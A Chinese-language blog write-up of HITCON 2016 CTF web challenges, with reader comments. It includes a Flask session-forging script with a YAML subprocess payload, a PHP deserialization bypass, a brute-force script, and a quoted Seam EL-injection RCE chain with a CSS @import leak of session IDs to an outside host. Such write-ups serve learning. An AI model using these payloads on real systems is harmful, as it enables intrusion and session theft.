Skip to content

HITCON 2016 WEB WRITEUP[2016.10.12已更新web500]

Posted in 每刻,知识分享

HITCON 2016 WEB writeup

Are you rich && Are you rich2

这道题有两种解法,在token那里存在注入,可以注入得到flag,或者上网找一个大富豪的bitcoin账号,然后直接填进去就行了,这样两道题都能解出来。

Secure Posts

模板注入,{{config}},填到author那里即可。
Config {‘PREFERRED_URL_SCHEME’: ‘http’, ‘DEBUG’: False, ‘JSON_AS_ASCII’: True, ‘PROPAGATE_EXCEPTIONS’: None, ‘SESSION_COOKIE_SECURE’: False, ‘SESSION_COOKIE_NAME’: ‘session’, ‘APPLICATION_ROOT’: None, ‘SESSION_COOKIE_HTTPONLY’: True, ‘PRESERVE_CONTEXT_ON_EXCEPTION’: None, ‘TRAP_HTTP_EXCEPTIONS’: False, ‘TESTING’: False, ‘SECRET_KEY’: ‘hitcon{>_<—Do-you-know-script alert(1) /script-is-very-fun?}’, ‘SERVER_NAME’: None, ‘MAX_CONTENT_LENGTH’: None, ‘SESSION_COOKIE_DOMAIN’: None, ‘JSONIFY_PRETTYPRINT_REGULAR’: True, ‘SEND_FILE_MAX_AGE_DEFAULT’: 43200, ‘TRAP_BAD_REQUEST_ERRORS’: False, ‘LOGGER_NAME’: ‘post_manager’, ‘USE_X_SENDFILE’: False, ‘SESSION_COOKIE_PATH’: None, ‘PERMANENT_SESSION_LIFETIME’: datetime.timedelta(31), ‘JSON_SORT_KEYS’: True}>

拿到第一个flag 同时也是第二题要用到的key

Secure Posts 2

yaml rce

exp:

from flask import Flask


#init app
app = Flask(__name__)
app.secret_key = 'hitcon{>_<---Do-you-know- script alert(1) /script -is-very-fun?}'
accept_datatype = ['json', 'yaml']

default_datatype = 'yaml'
default_data = 
"""- {author: admin, content: You can store any posts here. All posts will not be stored
    at the server side., date: 'October 08, 2016 02:00:00', title: Welcome!}
- content: !!python/object/apply:subprocess.check_output
       args: [ cat flag2 ]
       kwds: { shell: true }
  author: ''
  date: ''
  title: ''
"""

from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string, jsonify

#load utils
def load_eval(data):
    return eval(data)

def load_pickle(data):
    import pickle
    return pickle.loads(data)

def load_json(data):
    import json
    return json.loads(data)

def load_yaml(data):
    import yaml
    return yaml.load(data)

#dump utils
def dump_eval(data):
    return repr(data)

def dump_pickle(data):
    import pickle
    return pickle.dumps(data)

def dump_json(data):
    import json
    return json.dumps(data)

def dump_yaml(data):
    import yaml
    return yaml.dump(data)


def render_template(filename, **args):
    with open(safe_join(app.template_folder, filename)) as f:
        template = f.read()
        name = session.get('name', 'anonymous')[:10]
        return render_template_string(template.format(name=name), **args)

def load_posts():
    handlers = {
        # disabled insecure data type
        #"eval": load_eval,
        #"pickle": load_pickle,

        "json": load_json,
        "yaml": load_yaml
    }

    datatype = session.get("post_type", default_datatype)
    data = session.get("post_data", default_data)

    if datatype not in handlers: abort(403)
    return handlers[datatype](data)

def store_posts(posts, datatype):
    handlers = {
        "eval": dump_eval,
        "pickle": dump_pickle,

        "json": dump_json,
        "yaml": dump_yaml
    }
    if datatype not in handlers: abort(403)
    data = handlers\[datatype](posts)

    session["post_type"] = datatype
    session["post_data"] = data


@app.route('/store')
def store():
    session['post_type'] = 'yaml'
    session['post_data'] = default_data
    return 'fuck'


@app.route('/')
def index():
    posts = load_posts()
    #store_posts(posts, 'yaml')
    return str(posts)

@app.route('/post', methods=['POST'])
def add_post():
    posts = load_posts()

    title = request.form.get('title', 'empty')
    content = request.form.get('content', 'empty')
    datatype = request.form.get('datatype', 'json')
    if datatype not in accept_datatype: abort(403)
    name = request.form.get('author', 'anonymous')[:10]

    from datetime import datetime
    posts.append({
        'title': title,
        'author': name,
        'content': content,
        'date': datetime.now().strftime("%B %d, %Y %X")
    })
    session["name"] = name
    store_posts(posts, datatype)
    return redirect(url_for('index'))

@app.route('/source')
def get_source():
    with open(__file__, "r") as f:
        resp = f.read()
    return Response(resp, mimetype="text/plain")

app.run()

本地运行然后cookie打过去即可。

%%%

https证书,可以看到绑定的域名,host改成这个域名即可,访问得到flag

Baby Trick

首先是前一阵的cve,成员属性数目大于实际数目时可绕过wakeup方法,这样show方法中就可以注入了。

但是login过滤了orange,只有两个用户,而orange是唯一的管理员。

后来想到了,这里使用的是utf-8编码,sql中utf-8是有缺陷的,比如我可以用Ą,这样就可以绕过strtolower,然后也同时绕过了后面$username == ‘orange’ || stripos($sql, ‘orange’) != false的判断
最后payload如下

$args[‘username’] = ‘ORĄNGE’;
$args[‘password’] = ‘babytrick1234’;
$data = new HITCON(“login”,$args);
print urlencode(serialize($data));

修改成员数目为一个比较大的值。得到flag。

Leaking

先看下对象中有啥方法var j;for(i in this){j+=i;}j

可以发现有一个buffer方法,最后遍历buffer(1)—buffer(200)即可得到flag

Angry Boy

得到了一个混淆过的 class文件,解密后大致逻辑是aes加密,key是md5(ip+secret),而每一位都可以爆破,就是爆破难度越来越高。
最终的爆破脚本

import itertools
import hashlib
import sys
import requests

dic = "0123465789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+|"

url = "http://52.196.144.8:8080/"
answer = ''
for i in range(0,16):
    for j in range(0,255):
        get = requests.session()
        index = get.get(url)

        string_prefix = index.content[index.content.find('md5( "')+6:index.content.find('md5( "')+22]

        if i >= 0 and i <= 3:
            md5_prefix = "333"
        elif i >= 4 and i <= 7:
            md5_prefix = "4444"
        elif i >= 8 and i <= 11:
            md5_prefix = "55555"
        elif i >= 12 and i<= 15:
            md5_prefix = "666666"

        for key in itertools.product(dic,repeat=10):  
            s = hashlib.md5(string_prefix+''.join(key)).hexdigest()
            if s[0:len(md5_prefix)] == md5_prefix :
                break

        data = {'guess':chr(j), 'captcha':''.join(key), 'line':i}
        get_answer = get.post(url,data=data)
        if get_answer.content.find("good") != -1:
            answer += chr(j)
            print j
            break

得到secret后发现解开是乱码。这时候hint给了平台版本。改成那个版本去解密就没问题了,原因不明。。

Angry Seam

要到了答案。。求大佬指点

核心概念為在 Seam Framework 中有個內建參數為 actionOutcome,原本的作用在於頁面的導向,在 CVE-2010-1871 中曾經被找出參數內容會被 JBoss EL 解析,導致遠端代碼執行,在修復後禁止了 “#” 以及 “{” 出現,但原本的頁面導向功能還是存在,所以本來的概念是透過回報網址的功能促使管理員訪問

/angryseam/report.seam?actionOutcom>e=/profile.seam?username=ggininder
由於參數會先進行 XSS 的過濾,actionOutcom>e 會變成 actionOutcome 並帶入到 /angryseam/css.seam?actionOutcome=/profile.seam?username=ggininder 中,可導致管理員將 /profile.seam?username=ggininder 當成 CSS 載入

這時,在自身的 profile 中將名稱設置為

{/*';*/}%0a@import'http://orange.tw/?
可透過未閉合的單引號將部分 HTML 洩漏出來,而剛好 SESSIONID 就在其中取得管理員的身分取得 Flag !

不過在比賽途中出現了意外解XD 過程利用到了一個 Seam 的特性!

在之前對原代碼分析的時候其實找到了三個問題,其中一個是在 actionMethod 上的遠端任意代碼執行,不過這個漏洞的利用條件有點嚴苛,必須要在 Web Context 中有個可控檔案,可控檔案內容放置 “#{EL_HERE}” 接著就可以利用

/foo.seam?actionMethod:upload/1.gif:EL_HERE
的方式執行任意 EL 代碼!

由於這個漏洞需要有前置條件,所以官方也認為不是一個很高風險的漏洞!

不過這個漏洞還有一個下文,如果你無法控制可控檔案,但可控制現有檔案 EL 執行後的執行結果,Seam Framework 會對執行結果再進行一次 EL 解析。詳細代碼可研究 org.jboss.seam.navigation.Page 中 callAction 這個方法

因此整個攻擊流程是:

註冊一個使用者,將自身敘述設置成

/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}
訪問

/angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription())

由於在 template.xhtml 中存在

<script>
    var NAME="#{util.escape(sessionScope['user'].getUsername())}";
    var SID="#{util.escape(cookie['JSESSIONID'].value)}";
    var DESC="#{util.escape(sessionScope['user'].getDescription())}";
</script>


會將使用者的敘述從 SESSION 中取出,所以可以控制第一次 EL 的回傳結果導致第二次 EL 注入! 在訪問 template.seam 的同時順便將 Header 設置成

cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),request.getHeader('ccc'))}
ccc: ls -alh
即可達成遠端代碼執行!

来解答几个可能存在疑惑的地方

1.为什么要在realname中用那段代码而不是desc?

因为这里realname会出现两次,一次在title一次在body,而这样import就会把后面的内容全都当作要请求的url,直到body中的下一个单引号。从而也就能泄露sid,而改desc的话import都没办法成功,因为两个单引号把import给当成字符串了。

2.rce的具体步骤

这个rce是没有回显的23333,所以你直接执行用python反弹shell就好了。最后用在源代码中看到的mysql密码直接查admin密码就行了。。不知道为啥查出来是admin,当时我还试过的。。

10 Comments

  1. test
    test

    这排版不忍直视

    代码可以包在

    “`
    里面
    “`

    2016年10月10日
    |Reply
    • Melody
      Melody

      欸 这个markdown插件识别有点问题 中间的双引号竟然把“`给截断了。。那真是相当难看 我就改掉了

      2016年10月10日
      |Reply
    • Melody
      Melody

      有改了下。。现在能看了

      2016年10月10日
      |Reply
  2. Aklis
    Aklis

    学习一波 诶就是get 不到点 心痛

    2016年10月10日
    |Reply
  3. Klaus
    Klaus

    dalao,我的sourcepost的cookie打过去以后是403啊 不知道大佬遇没遇到这种情况

    2016年10月13日
    |Reply
    • Melody
      Melody

      额,本地的代码是啥样的来个瞅瞅

      2016年10月14日
      |Reply

Leave a Reply

Your email address will not be published. Required fields are marked *